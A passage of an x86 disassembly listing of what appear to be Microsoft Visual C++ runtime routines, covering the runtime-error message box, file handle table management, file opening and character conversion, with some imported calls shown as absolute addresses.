		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h

loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C98C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------

loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C98C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 2620D25h
		nop
		push	eax
		nop
		call	near ptr 26E0000h

loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC600

loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]

loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------

loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB

loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC700
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------

loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC700, 20h
		lea	ecx, ds:4DC600h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------

loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi

loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2F4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------

loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 26204A9h
		nop

loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------

loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC700
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC600h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2F4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------

loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h

loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 26204A9h

loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------

loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC600[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2670E9Dh
		jmp	short loc_42391F
; ---------------------------------------------------------------------------

loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax

loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB2AC, eax

loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB2A8, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5E0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------

loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi

loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5E0, eax

loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5E0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB5C8, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx

loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43CA18

loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB5C8
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC98
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43CA28

loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC600[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD

loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA88
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2E8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB490
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------

loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------

loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB5A0, eax
		jz	short loc_423A7E

loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h

loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4

loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB2A8, 16h
		mov	dword_4DB2AC, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------

loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------

loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h

loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------

loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx

loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------

loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------

loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1

loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB2B0
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi

loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi

loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------

loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h

loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB2AC, 0
		mov	dword_4DB2A8, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------

loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 26F07FEh
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 262061Bh
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 2650939h

loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		call	near ptr 2670E9Dh
		nop
		push	eax
		call	sub_4203DF
		pop	ecx

loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------

loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------

loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8

loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC600h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB2AC, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------

loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2

loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE

loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx

loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------

loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx

loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB498
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 261005Eh
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------

loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE5C
		push	esi
		push	ebx
		nop
		call	near ptr 2610810h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax

loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB498, eax

loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB364

loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610810h
		jmp	loc_423E23
; ---------------------------------------------------------------------------

loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB374
		mov	[ebp+arg_10], eax

loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2810000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 261005Eh
		jmp	short loc_423E23
; ---------------------------------------------------------------------------

loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax

loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC700
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB364, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C534
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB374
		call	near ptr 28010B9h
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1

loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh

loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx

loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax

loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB364, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax

loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------

loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C328
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C534
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB374
		nop
		call	near ptr 2810000h
		test	eax, eax
		mov	eax, dword_43C534
		jnz	short loc_423EE8

